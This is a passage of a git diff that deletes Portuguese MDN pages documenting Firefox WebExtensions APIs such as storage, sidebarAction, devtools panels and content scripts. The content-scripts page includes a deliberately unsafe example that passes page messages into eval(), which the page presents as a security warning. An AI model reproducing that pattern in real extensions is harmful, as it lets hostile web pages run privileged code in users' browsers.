This API is based on Chromium's chrome.browsingData API.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html deleted file mode 100644 index 2d7cb8839d..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: devtools.panels -slug: Mozilla/Add-ons/WebExtensions/API/devtools/panels -tags: - - API - - Extensões - - Extensões da Web - - Extras - - Referencia - - devtools.panels -translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels -original_slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels ---- -
{{AddonSidebar}}
- -
-

Embora as APIs sejam baseadas no Chrome devtools APIs, ainda existem muitas funcionalidades que ainda não estão implementadas no Firefox, e por isso, não estão documentadas aqui. Para ver quais as funcionalidades que estão atualmente em falta, por favor, consulte Limitações das APIs de devtools.

-
- -

The devtools.panels API lets a devtools extension define its user interface inside the devtools window.

- -

The devtools window hosts a number of separate tools - the JavaScript Debugger, Network Monitor, and so on. A row of tabs across the top lets the user switch between the different tools. The window hosting each tool's user interface is called a "panel".

- -

With the devtools.panels API you can create new panels in the devtools window.

- -

Like all the devtools APIs, this API is only available to code running in the document defined in the devtools_page manifest.json key, or in other devtools documents created by the extension (such as the panel's own document). See Extending the developer tools for more.

- -

Tipos

- -
-
devtools.panels.ElementsPanel
-
Represents the HTML/CSS inspector in the browser's devtools.
-
devtools.panels.ExtensionPanel
-
Represents a devtools panel created by the extension.
-
devtools.panels.ExtensionSidebarPane
-
Represents a pane that an extension has added to the HTML/CSS inspector in the browser's devtools.
-
- -

Propriedades

- -
-
devtools.panels.elements
-
A reference to an ElementsPanel object.
-
devtools.panels.themeName
-
The name of the current devtools theme.
-
- -

Funções

- -
-
devtools.panels.create()
-
Creates a new devtools panel.
-
- -

Eventos

- -
-
devtools.panels.onThemeChanged
-
Fired when the devtools theme changes.
-
- -

Compatibilidade do navegador

- -

{{Compat("webextensions.api.devtools.panels", 2)}}

- -

{{WebExtExamples("h2")}}

- -
Reconhecimentos - -

This API is based on Chromium's chrome.devtools.panels API.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/i18n/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/i18n/index.html deleted file mode 100644 index 824e2eb308..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/i18n/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: i18n -slug: Mozilla/Add-ons/WebExtensions/API/i18n -tags: - - API - - Extensões - - Extensões da Web - - Extras - - Não Padrão - - Referencia - - i18n -translation_of: Mozilla/Add-ons/WebExtensions/API/i18n ---- -
{{AddonSidebar}}
- -

Funções para a internationalizar a sua extensão. Pode utilizar estas APIs para ter as suas strings traduzidas dos ficheiros de localização empacotados com a sua extensão, descubra o idioma atual do navegador e descubra o valor do seu cabeçalho Accept-Language.

- -

Para mais detalhes em como utilizar i18n para sua extensão, consulte:

- - - -

Tipos

- -
-
{{WebExtAPIRef("i18n.LanguageCode")}}
-
A language tag such as "en-US" or "fr".
-
- -

Funções

- -
-
{{WebExtAPIRef("i18n.getAcceptLanguages()")}}
-
Gets the accept-languages of the browser. This is different from the locale used by the browser. To get the locale, use {{WebExtAPIRef('i18n.getUILanguage')}}.
-
{{WebExtAPIRef("i18n.getMessage()")}}
-
Gets the localized string for the specified message.
-
{{WebExtAPIRef("i18n.getUILanguage()")}}
-
Gets the UI language of the browser. This is different from {{WebExtAPIRef('i18n.getAcceptLanguages')}} which returns the preferred user languages.
-
{{WebExtAPIRef("i18n.detectLanguage()")}}
-
Detects the language of the provided text using the Compact Language Detector.
-
- -
-
- -

Compatibilidade de navegador

- -

{{Compat("webextensions.api.i18n")}}

- -

{{WebExtExamples("h2")}}

- -
-
- -
Agradecimentos - -

This API is based on Chromium's chrome.i18n API. This documentation is derived from i18n.json in the Chromium code.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/index.html deleted file mode 100644 index 24e8c119a7..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: APIs de JavaScript -slug: Mozilla/Add-ons/WebExtensions/API -translation_of: Mozilla/Add-ons/WebExtensions/API ---- -
{{AddonSidebar}}
- -
{{SubpagesWithSummaries}}
- -
Agradecimentos - -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/pageaction/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/pageaction/index.html deleted file mode 100644 index 1453336c6c..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/pageaction/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Ação de página -slug: Mozilla/Add-ons/WebExtensions/API/pageAction -tags: - - API - - Ação de página - - Extensões - - Extensões da Web - - Extras - - Interface - - Não Padrão - - Referencia -translation_of: Mozilla/Add-ons/WebExtensions/API/pageAction ---- -
{{AddonSidebar}}
- -

Uma ação de página é ícone clicável dentro da barra de endereço do navegador.

- -

 

- -

- -

Pode ouvir cliques no ícone, ou especificar uma janela (popup) que será aberta quando o ícone for clicado.

- -

If you specify a popup, you can define its contents and behavior using HTML, CSS, and JavaScript, just like a normal web page. JavaScript running in the popup gets access to all the same WebExtension APIs as your background scripts.

- -

You can define most of a page action's properties declaratively using the page_action key in your manifest.json, but can also redefine them programmatically using this API.

- -

Page actions are for actions that are only relevant to particular pages. If your icon should always be available, use a browser action instead.

- -

Tipos

- -
-
{{WebExtAPIRef("pageAction.ImageDataType")}}
-
Dados de píxel para uma imagem.
-
- -

Funções

- -
-
{{WebExtAPIRef("pageAction.show()")}}
-
Shows the page action for a given tab.
-
{{WebExtAPIRef("pageAction.hide()")}}
-
Hides the page action for a given tab.
-
{{WebExtAPIRef("pageAction.setTitle()")}}
-
Sets the page action's title. This is displayed in a tooltip over the page action.
-
{{WebExtAPIRef("pageAction.getTitle()")}}
-
Gets the page action's title.
-
{{WebExtAPIRef("pageAction.setIcon()")}}
-
Sets the page action's icon.
-
{{WebExtAPIRef("pageAction.setPopup()")}}
-
Sets the URL for the page action's popup.
-
{{WebExtAPIRef("pageAction.getPopup()")}}
-
Gets the URL for the page action's popup.
-
{{WebExtAPIRef("pageAction.openPopup()")}}
-
Opens the page action's popup.
-
- -

Eventos

- -
-
{{WebExtAPIRef("pageAction.onClicked")}}
-
Fired when a page action icon is clicked. This event will not fire if the page action has a popup.
-
- -

Compatibilidade de navegador

- -

{{Compat("webextensions.api.pageAction")}}

- -

{{WebExtExamples("h2")}}

- -
Reconhecimentos - -

This API is based on Chromium's chrome.pageAction API. This documentation is derived from page_action.json in the Chromium code.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/sidebaraction/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/sidebaraction/index.html deleted file mode 100644 index beb8c1c54f..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/sidebaraction/index.html +++ /dev/null @@ -1,182 +0,0 @@ ---- -title: sidebarAction -slug: Mozilla/Add-ons/WebExtensions/API/sidebarAction -tags: - - API - - Barra Lateral - - Extensões - - Extensões da Web - - Não Padrão - - Referencia - - sidebarAction -translation_of: Mozilla/Add-ons/WebExtensions/API/sidebarAction ---- -
{{AddonSidebar}}
- -

Obtém e define as propriedades da barra lateral de uma extensão.

- -

Uma barra lateral é um painel que é exibido no lado esquerdo ou direito da janela do navegador, ao lado da página da web. O navegador fornece uma interface do utilizador que permite ao utilizador ver as barras laterais disponíveis no momento e selecionar uma barra lateral para exibir. Utilizando a chave de manifest.json sidebar_action , uma extensão pdoe definir a sua própria barra lateral. Utilizando a API sidebarAction descrita aqui, uma extension pode obter um conjunto de propriedades da barra lateral.

- -

A API sidebarAction é modelada de perto na API {{WebExtAPIRef("browserAction")}}.

- -

A API sidebarAction é baseada na API sidebarAction do Opera. Contudo, note que o seguinte ainda não é suportado: setBadgeText(), getBadgeText(), setBadgeBackgroundColor(), getBadgeBackgroundColor(), onFocus, onBlur.

- -

Tipos

- -
-
{{WebExtAPIRef("sidebarAction.ImageDataType")}}
-
Dados de pixel para uma imagem. Deve ser um objeto  ImageData (por exemplo, de um elemento {{htmlelement("canvas")}}).
-
- -

Funções

- -
-
{{WebExtAPIRef("sidebarAction.setPanel()")}}
-
Define o painel da barra lateral.
-
{{WebExtAPIRef("sidebarAction.getPanel()")}}
-
Obtém o painel da barra lateral.
-
{{WebExtAPIRef("sidebarAction.setTitle()")}}
-
Definie o título da barra lateral. Isto será exibido em qualquer IU fornecida pelo navegador para listar as barras de ferrramentas, tal como um menu.
-
{{WebExtAPIRef("sidebarAction.getTitle()")}}
-
Obtém o título da barra lateral.
-
{{WebExtAPIRef("sidebarAction.setIcon()")}}
-
Define o ícone da barra lateral.
-
{{WebExtAPIRef("sidebarAction.open()")}}
-
Abre a abarra lateral.
-
{{WebExtAPIRef("sidebarAction.close()")}}
-
fecha a barra lateral.
-
{{WebExtAPIRef("sidebarAction.isOpen()")}}
-
Verifica sebarra lateral está ou não aberta.
-
- -

Compatibilidade de navegador

- -

{{Compat("webextensions.api.sidebarAction")}}

- -

Exemplo de extras (add-ons)

- - - -
Reconhecimentos - -

Esta API é baseada na API chrome.sidebarAction do Opera.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - - -
- - - - - -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html deleted file mode 100644 index f4551690f3..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Armazenamento -slug: Mozilla/Add-ons/WebExtensions/API/storage -tags: - - API - - Armazenamento - - Extensões - - Extensões da Web - - Extras - - Interface - - Não Padrão - - Referencia -translation_of: Mozilla/Add-ons/WebExtensions/API/storage -original_slug: Mozilla/Add-ons/WebExtensions/API/Armazenamento ---- -
{{AddonSidebar}}
- -

Permite que as extensões armazenem e recuperem dados, e escutem as alterações aos itens armazenados.

- -

O sistema de armazenamento é baseado na API de Armazenamento da Web, com algumas diferenças. Entre outras diferençãs, estas incluem:

- -
    -
  • It's asynchronous.
  • -
  • Values are scoped to the extension, not to a specific domain (i.e. the same set of key/value pairs are available to all scripts in the background context and content scripts).
  • -
  • The values stored can be any JSON-ifiable value, not just String. Among other things, this includes: Array and Object, but only when their contents can can be represented as JSON, which does not include DOM nodes. You don't need to convert your values to JSON Strings prior to storing them, but they are represented as JSON internally, thus the requirement that they be JSON-ifiable.
  • -
  • Multiple key/value pairs can be set or retrieved in the same API call.
  • -
- -

To use this API you need to include the "storage" permission in your manifest.json file.

- -

Each extension has its own storage area, which can be split into different types of storage.

- -

Although this API is similar to {{domxref("Window.localStorage")}} it is recommended that you don't use Window.localStorage in the extension code to store extension-related data. Firefox will clear data stored by extensions using the localStorage API in various scenarios where users clear their browsing history and data for privacy reasons, while data saved using the storage.local API will be correctly persisted in these scenarios.

- -

Tipos

- -
-
{{WebExtAPIRef("storage.StorageArea")}}
-
An object representing a storage area.
-
{{WebExtAPIRef("storage.StorageChange")}}
-
An object representing a change to a storage area.
-
- -

Propriedades

- -

storage has three properties, which represent the different types of available storage area.

- -
-
{{WebExtAPIRef("storage.sync")}}
-
Represents the sync storage area. Items in sync storage are synced by the browser, and are available across all instances of that browser that the user is logged into, across different devices.
-
{{WebExtAPIRef("storage.local")}}
-
Represents the local storage area. Items in local storage are local to the machine the extension was installed on.
-
{{WebExtAPIRef("storage.managed")}}
-
Represents the managed storage area. Items in managed storage are set by the domain administrator and are read-only for the extension. Trying to modify this namespace results in an error.
-
- -

Eventos

- -
-
{{WebExtAPIRef("storage.onChanged")}}
-
Fired when one or more items change in a storage area.
-
- -

Compatibilidade do navegador

- -

{{Compat("webextensions.api.storage")}}

- -

{{WebExtExamples("h2")}}

- -
Reconehcimentos - -

This API is based on Chromium's chrome.storage API. This documentation is derived from storage.json in the Chromium code.

- -

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

-
- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html b/files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html deleted file mode 100644 index 4f5f3b176e..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Suporte de navegador para as APIs de JavaScript -slug: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs -original_slug: Mozilla/Add-ons/WebExtensions/Suporte_navegador_APIs_JavaScript ---- -
{{AddonSidebar}}
- -

{{WebExtAllCompatTables}}

- -
A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se quiser contribuir para os dados, verifique por favor, consulte https://github.com/mdn/browser-compat-data e envie-nos um pedido de submissão.
- -
 
- -
Agradecimentos - -

Os dados de compatibilidade do Microsoft Edge são fornecidos pela Corporação Microsoft e estão incluídos aqui sob a Licença de Creative Commons Attribution 3.0 - Estado Unidos.

-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html b/files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html deleted file mode 100644 index 13daea5bbf..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html +++ /dev/null @@ -1,447 +0,0 @@ ---- -title: Scripts de Conteúdo -slug: Mozilla/Add-ons/WebExtensions/Content_scripts -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Content_scripts -original_slug: Mozilla/Add-ons/WebExtensions/Scripts_Conteudo ---- -
{{AddonSidebar}}
- -

Um script de conteúdo é uma parte da sua extensão que é executada no contexto de uma determinada página da Web (em oposição aos scripts de segundo plano que são parte da própria extensão, ou scripts que são parte do próprio site da Web, tal como aqueles carregados utilizando o {{HTMLElement("script")}} elemento.

- -

Background scripts can access all the WebExtension JavaScript APIs, but they can't directly access the content of web pages. So if your extension needs to do that, you need content scripts.

- -

Just like the scripts loaded by normal web pages, content scripts can read and modify the content of their pages using the standard DOM APIs.

- -

Content scripts can only access a small subset of the WebExtension APIs, but they can communicate with background scripts using a messaging system, and thereby indirectly access the WebExtension APIs.

- -
-

Note that content scripts are blocked on the following domains: accounts-static.cdn.mozilla.net, accounts.firefox.com, addons.cdn.mozilla.net, addons.mozilla.org, api.accounts.firefox.com, content.cdn.mozilla.net, content.cdn.mozilla.net, discovery.addons.mozilla.org, input.mozilla.org, install.mozilla.org, oauth.accounts.firefox.com, profile.accounts.firefox.com, support.mozilla.org, sync.services.mozilla.com, and testpilot.firefox.com. If you try to inject a content script into a page in these domains, it will fail and the page will log a CSP error.

- -

As these restrictions include addons.mozilla.org, users may attempt to use your extension immediately after installation and find it doesn't work. You may want to add an appropriate warning or an onboarding page that moves users away from addons.mozilla.org.

-
- -
-

Values added to the global scope of a content script with var foo or window.foo = "bar" may disappear due to bug 1408996.

-
- -

Carregar scripts de conteúdo

- -

You can load a content script into a web page in one of three ways:

- -
    -
  1. at install time, into pages that match URL patterns: using the content_scripts key in your manifest.json, you can ask the browser to load a content script whenever the browser loads a page whose URL matches a given pattern.
  2. -
  3. at runtime, into pages that match URL patterns: using the {{WebExtAPIRef("contentScripts")}} API, you can ask the browser to load a content script whenever the browser loads a page whose URL matches a given pattern. This is just like method (1), except you can add and remove content scripts at runtime.
  4. -
  5. at runtime, into specific tabs: using the tabs.executeScript() API, you can load a content script into a specific tab whenever you want: for example, in response to the user clicking on a browser action.
  6. -
- -

There is only one global scope per frame per extension, so variables from one content script can directly be accessed by another content script, regardless of how the content script was loaded.

- -

Using methods (1) and (2) you can only load scripts into pages whose URLs can be represented using a match pattern. Using method (3), you can also load scripts into pages packaged with your extension, but you can't load scripts into privileged browser pages like "about:debugging" or "about:addons".

- -

Ambiente de script de conteúdo

- -

Acesso DOM

- -

Content scripts can access and modify the page's DOM, just like normal page scripts can. They can also see any changes that were made to the DOM by page scripts.

- -

However, content scripts get a "clean view of the DOM". This means:

- -
    -
  • content scripts cannot see JavaScript variables defined by page scripts
  • -
  • if a page script redefines a built-in DOM property, the content script will see the original version of the property, not the redefined version.
  • -
- -

In Firefox, this behavior is called Xray vision.

- -

For example, consider a web page like this:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
-  </head>
-
-  <body>
-    <script src="page-scripts/page-script.js"></script>
-  </body>
-</html>
- -

The script "page-script.js" does this:

- -
// page-script.js
-
-// add a new element to the DOM
-var p = document.createElement("p");
-p.textContent = "This paragraph was added by a page script.";
-p.setAttribute("id", "page-script-para");
-document.body.appendChild(p);
-
-// define a new property on the window
-window.foo = "This global variable was added by a page script";
-
-// redefine the built-in window.confirm() function
-window.confirm = function() {
-  alert("The page script has also redefined 'confirm'");
-}
- -

Now an extension injects a content script into the page:

- -
// content-script.js
-
-// can access and modify the DOM
-var pageScriptPara = document.getElementById("page-script-para");
-pageScriptPara.style.backgroundColor = "blue";
-
-// can't see page-script-added properties
-console.log(window.foo);  // undefined
-
-// sees the original form of redefined properties
-window.confirm("Are you sure?"); // calls the original window.confirm()
- -

The same is true in reverse: page scripts can't see JavaScript properties added by content scripts.

- -

All this means that the content script can rely on DOM properties behaving predictably, and doesn't have to worry about variables it defines clashing with variables defined in the page script.

- -

One practical consequence of this behavior is that a content script won't have access to any JavaScript libraries loaded by the page. So for example, if the page includes jQuery, the content script won't be able to see it.

- -

If a content script does want to use a JavaScript library, then the library itself should be injected as a content script alongside the content script that wants to use it:

- -
"content_scripts": [
-  {
-    "matches": ["*://*.mozilla.org/*"],
-    "js": ["jquery.js", "content-script.js"]
-  }
-]
- -

Note that Firefox provides some APIs that enable content scripts to access JavaScript objects created by page scripts and to expose their own JavaScript objects to page scripts. See Sharing objects with page scripts for more details.

- -

APIs da Extensão da Web

- -

In addition to the standard DOM APIs, content scripts can use the following WebExtension APIs:

- -

From extension:

- - - -

From runtime:

- - - -

From i18n:

- - - -

From menus:

- - - -

Everything from storage.

- -

XHR e Fetch

- -

Content scripts can make requests using the normal window.XMLHttpRequest and window.fetch() APIs.

- -

Content scripts get the same cross-domain privileges as the rest of the extension: so if the extension has requested cross-domain access for a domain using the permissions key in manifest.json, then its content scripts get access that domain as well.

- -

This is accomplished by exposing more privileged XHR and fetch instances in the content script, which has the side-effect of not setting the Origin and Referer headers like a request from the page itself would, this is often preferable to prevent the request from revealing its cross-orign nature. From version 58 onwards extensions that need to perform requests that behave as if they were sent by the content itself can use  content.XMLHttpRequest and content.fetch() instead. For cross-browser extensions their presence must be feature-detected.

- -

Comunicar com scripts de segundo plano

- -

Although content scripts can't directly use most of the WebExtension APIs, they can communicate with the extension's background scripts using the messaging APIs, and can therefore indirectly access all the same APIs that the background scripts can.

- -

There are two basic patterns for communicating between the background scripts and content scripts: you can send one-off messages, with an optional response, or you can set up a longer-lived connection between the two sides, and use that connection to exchange messages.

- -

One-off messages

- -

To send one-off messages, with an optional response, you can use the following APIs:

- - - - - - - - - - - - - - - - - - - - - -
In content scriptIn background script
Send a messagebrowser.runtime.sendMessage()browser.tabs.sendMessage()
Receive a messagebrowser.runtime.onMessagebrowser.runtime.onMessage
- -

For example, here's a content script which listens for click events in the web page. If the click was on a link, it messages the background page with the target URL:

- -
// content-script.js
-
-window.addEventListener("click", notifyExtension);
-
-function notifyExtension(e) {
-  if (e.target.tagName != "A") {
-    return;
-  }
-  browser.runtime.sendMessage({"url": e.target.href});
-}
- -

The background script listens for these messages and displays a notification using the notifications API:

- -
// background-script.js
-
-browser.runtime.onMessage.addListener(notify);
-
-function notify(message) {
-  browser.notifications.create({
-    "type": "basic",
-    "iconUrl": browser.extension.getURL("link.png"),
-    "title": "You clicked a link!",
-    "message": message.url
-  });
-}
-
- -

This example code is lightly adapted from the notify-link-clicks-i18n example on GitHub.

- -

Connection-based messaging

- -

Sending one-off messages can get cumbersome if you are exchanging a lot of messages between a background script and a content script. So an alternative pattern is to establish a longer-lived connection between the two contexts, and use this connection to exchange messages.

- -

Each side has a runtime.Port object, which they can use to exchange messages.

- -

To create the connection:

- - - -

Once each side has a port, the two sides can exchange messages using runtime.Port.postMessage() to send a message, and runtime.Port.onMessage to receive messages.

- -

For example, as soon as it loads, this content script:

- -
    -
  • connects to the background script, and stores the Port in a variable myPort
  • -
  • listens for messages on myPort, and logs them
  • -
  • sends messages to the background script, using myPort, when the user clicks the document
  • -
- -
// content-script.js
-
-var myPort = browser.runtime.connect({name:"port-from-cs"});
-myPort.postMessage({greeting: "hello from content script"});
-
-myPort.onMessage.addListener(function(m) {
-  console.log("In content script, received message from background script: ");
-  console.log(m.greeting);
-});
-
-document.body.addEventListener("click", function() {
-  myPort.postMessage({greeting: "they clicked the page!"});
-});
- -

The corresponding background script:

- -
    -
  • listens for connection attempts from the content script
  • -
  • when it receives a connection attempt: -
      -
    • stores the port in a variable named portFromCS
    • -
    • sends the content script a message using the port
    • -
    • starts listening to messages received on the port, and logs them
    • -
    -
  • -
  • sends messages to the content script, using portFromCS, when the user clicks the extension's browser action
  • -
- -
// background-script.js
-
-var portFromCS;
-
-function connected(p) {
-  portFromCS = p;
-  portFromCS.postMessage({greeting: "hi there content script!"});
-  portFromCS.onMessage.addListener(function(m) {
-    console.log("In background script, received message from content script")
-    console.log(m.greeting);
-  });
-}
-
-browser.runtime.onConnect.addListener(connected);
-
-browser.browserAction.onClicked.addListener(function() {
-  portFromCS.postMessage({greeting: "they clicked the button!"});
-});
-
- -

Multiple content scripts

- -

If you have multiple content scripts communicating at the same time, you might want to store each connection in an array.

- - - -
    -
- -
// background-script.js
-
-var ports = []
-
-function connected(p) {
-  ports[p.sender.tab.id]    = p
-  //...
-}
-
-browser.runtime.onConnect.addListener(connected)
-
-browser.browserAction.onClicked.addListener(function() {
-  ports.forEach(p => {
-        p.postMessage({greeting: "they clicked the button!"})
-    })
-});
- - - -
    -
- -

Comunicar com a página da Web

- -

Although content scripts don't by default get access to objects created by page scripts, they can communicate with page scripts using the DOM window.postMessage and window.addEventListener APIs.

- -

For example:

- -
// page-script.js
-
-var messenger = document.getElementById("from-page-script");
-
-messenger.addEventListener("click", messageContentScript);
-
-function messageContentScript() {
-  window.postMessage({
-    direction: "from-page-script",
-    message: "Message from the page"
-  }, "*");
- -
// content-script.js
-
-window.addEventListener("message", function(event) {
-  if (event.source == window &&
-      event.data &&
-      event.data.direction == "from-page-script") {
-    alert("Content script received message: \"" + event.data.message + "\"");
-  }
-});
- -

For a complete working example of this, visit the demo page on GitHub and follow the instructions.

- -
-

Note that any time you interact with untrusted web content on this way, you need to be very careful. Extensions are privileged code which can have powerful capabilities, and hostile web pages can easily trick them into accessing those capabilities.

- -

To make a trivial example, suppose the content script code that receives the message does something like this:

- -
// content-script.js
-
-window.addEventListener("message", function(event) {
-  if (event.source == window &&
-      event.data.direction &&
-      event.data.direction == "from-page-script") {
-    eval(event.data.message);
-  }
-});
- -

Now the page script can run any code with all the privileges of the content script.

-
- -

Using eval() in content scripts

- -

In Chrome, eval() always runs code in the context of the content script, not in the context of the page.

- -

In Firefox:

- -
    -
  • if you call eval(), it runs code in the context of the content script
  • -
  • if you call window.eval(), it runs code in the context of the page.
  • -
- -

For example, consider a content script like this:

- -
// content-script.js
-
-window.eval('window.x = 1;');
-eval('window.y = 2');
-
-console.log(`In content script, window.x: ${window.x}`);
-console.log(`In content script, window.y: ${window.y}`);
-
-window.postMessage({
-  message: "check"
-}, "*");
- -

This code just creates some variables x and y using window.eval() and eval(), then logs their values, then messages the page.

- -

On receiving the message, the page script logs the same variables:

- -
window.addEventListener("message", function(event) {
-  if (event.source === window && event.data && event.data.message === "check") {
-    console.log(`In page script, window.x: ${window.x}`);
-    console.log(`In page script, window.y: ${window.y}`);
-  }
-});
- -

In Chrome, this will produce output like this:

- -
In content script, window.x: 1
-In content script, window.y: 2
-In page script, window.x: undefined
-In page script, window.y: undefined
- -

In Firefox the following output is produced:

- -
In content script, window.x: undefined
-In content script, window.y: 2
-In page script, window.x: 1
-In page script, window.y: undefined
- -

The same applies to setTimeout(), setInterval(), and Function().

- -

When running code in the context of the page, be very careful. The page's environment is controlled by potentially malicious web pages, which can redefine objects you interact with to behave in unexpected ways:

- -
// page.js redefines console.log
-
-var original = console.log;
-
-console.log = function() {
-  original(true);
-}
-
- -
// content-script.js calls the redefined version
-
-window.eval('console.log(false)');
-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/examples/index.html b/files/pt-pt/mozilla/add-ons/webextensions/examples/index.html deleted file mode 100644 index 9e00250f9f..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/examples/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Exemplos de extensões -slug: Mozilla/Add-ons/WebExtensions/Examples -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Examples -original_slug: Mozilla/Add-ons/WebExtensions/Exemplos_extensoes ---- -
{{AddonSidebar}}
- -

Para ajudar a ilustrar como desenvolver extensões, nós mantemos um repositório de exemplos de extensões simples em https://github.com/mdn/webextensions-examples. Este artigo descreve as APIs de Extensão da Web utilizadas nesse repositório.

- -

Estes exemplos funcionam no Firefox Nightly: a maioria funciona nas versões anteriores do Firefox, mas verifique a chave strict_min_version em manifest.json da extensão para se certificar.

- -

Se quiser experimentar estes exemplos, tem três opções principais:

- -
    -
  1. Clone o repositório, depois carregue a extensão diretamente da sua diretoria fonte, utilizando a funcionalidade "Carregar Temporariamente os Extras". A extensão permanecerá carregada até que reinicie o Firefox.
  2. -
  3. Clone o repositório, depois utilize a ferramenta de linha de comando web-ext para executar o Firefox com a extensão instalada.
  4. -
  5. Clone o repositório, depois vá para a diretoria de build. Esta contém as versões criadas e assinadas de todos os exemplos, e assim pode abri-las no Firefox (utilizando Ficheiro/Abrir Ficheiro) e instale-as permanentemente, tal como uma extensão que instalaria a partir de addons.mozilla.org.
  6. -
- -
-

Importante: Por favor, não submeta estes exemplos dos exemplos da 'Extensão da Web' para AMO (addons.mozilla.org), não precisa de assinar o extra para executar os exemplos da 'Extensão da Web'. Basta seguir os passos acima.

-
- -

Se desejar contribuir para o repositório, envie-nos um pedido de submissão!

- -

{{WebExtAllExamples}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html b/files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html deleted file mode 100644 index ac5e8d664e..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Extensão das ferramentas de desenvolvimento -slug: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools -translation_of: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools -original_slug: Mozilla/Add-ons/WebExtensions/Extensão_das_ferramentas_de_desenvolvimento ---- -
{{AddonSidebar}}
- -
-

Esta página descreve as APIs das devtools  que existem no Firefox 55. Embora as APIs sejam baseadas nas APIs de devtools do Chrome, ainda existem muitas funcionalidades que ainda não estão implementadas no Firefox, e por isso, não estão documentadas aqui. Para ver quais as funcionalidades que estão atualmente em falta, por favor, consulte Limitações das APIs de devtools.

-
- -

Pode utilizar as APIs das Extensões da Web para ampliar as ferramentas de desenvollvimento integradas no navegador. Para criar a extensão devtools, inclua a chave "devtools_page" no manifest.json:

- -
"devtools_page": "devtools/devtools-page.html"
- -

O valor desta chave é um URL a apontar para um ficheiro HTML que foi incorporado com a sua extensão. O URL deverá ser relativo ao próprio ficheiro manifest.json.

- -

O ficheiro HTML define uma página especial na extensão, chamada de página devtools.

- -

A página devtools

- -

The devtools page is loaded when the browser devtools are opened, and unloaded when it is closed. Note that because the devtools window is associated with a single tab, it's quite possible for more than one devtools window - hence more than one devtools page - to exist at the same time.

- -

The devtools page doesn't have any visible DOM, but can include JavaScript sources using <script> tags. The sources must be bundled with the extension itself. The sources get access to:

- - - -

Note that the devtools page does not get access to any other WebExtension APIs, and the background page doesn't get access to the devtools APIs. Instead, the devtools page and the background page must communicate using the runtime messaging APIs.

- -

Criar painéis

- -

The devtools window hosts a number of separate tools - the JavaScript Debugger, Network Monitor, and so on. A row of tabs across the top lets the user switch between the different tools. The window hosting each tool's user interface is called a "panel".

- -

Using the devtools.panels.create() API, you can create your own panel in the devtools window:

- -
browser.devtools.panels.create(
-  "My Panel",                      // title
-  "icons/star.png",                // icon
-  "devtools/panel/panel.html"      // content
-).then((newPanel) => {
-  newPanel.onShown.addListener(initialisePanel);
-  newPanel.onHidden.addListener(unInitialisePanel);
-});
- -

This takes three mandatory arguments: the panel's title, icon, and content. It returns a Promise which resolves to a devtools.panels.ExtensionPanel object representing the new panel.

- -

Interagir com a janela de destino

- -

